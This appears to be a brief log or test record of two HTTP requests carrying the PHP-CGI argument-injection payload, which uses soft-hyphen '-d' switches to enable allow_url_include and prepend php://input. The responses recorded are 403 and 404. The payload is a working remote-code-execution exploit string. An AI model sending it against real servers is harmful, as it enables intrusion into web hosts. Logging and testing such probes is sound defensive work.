/?%ADd+error_reporting%3D0+%ADd+allow_url_include%3Don+%ADd+cgi.force_redirect%3D0+%ADd+auto_prepend_file%3Dphp%3A//input
→ 403
/php-cgi/php-cgi.exe?%ADd+error_reporting%3D0+%ADd+allow_url_include%3Don+%ADd+cgi.force_redirect%3D0+%ADd+auto_prepend_file%3Dphp%3A//input
→ 404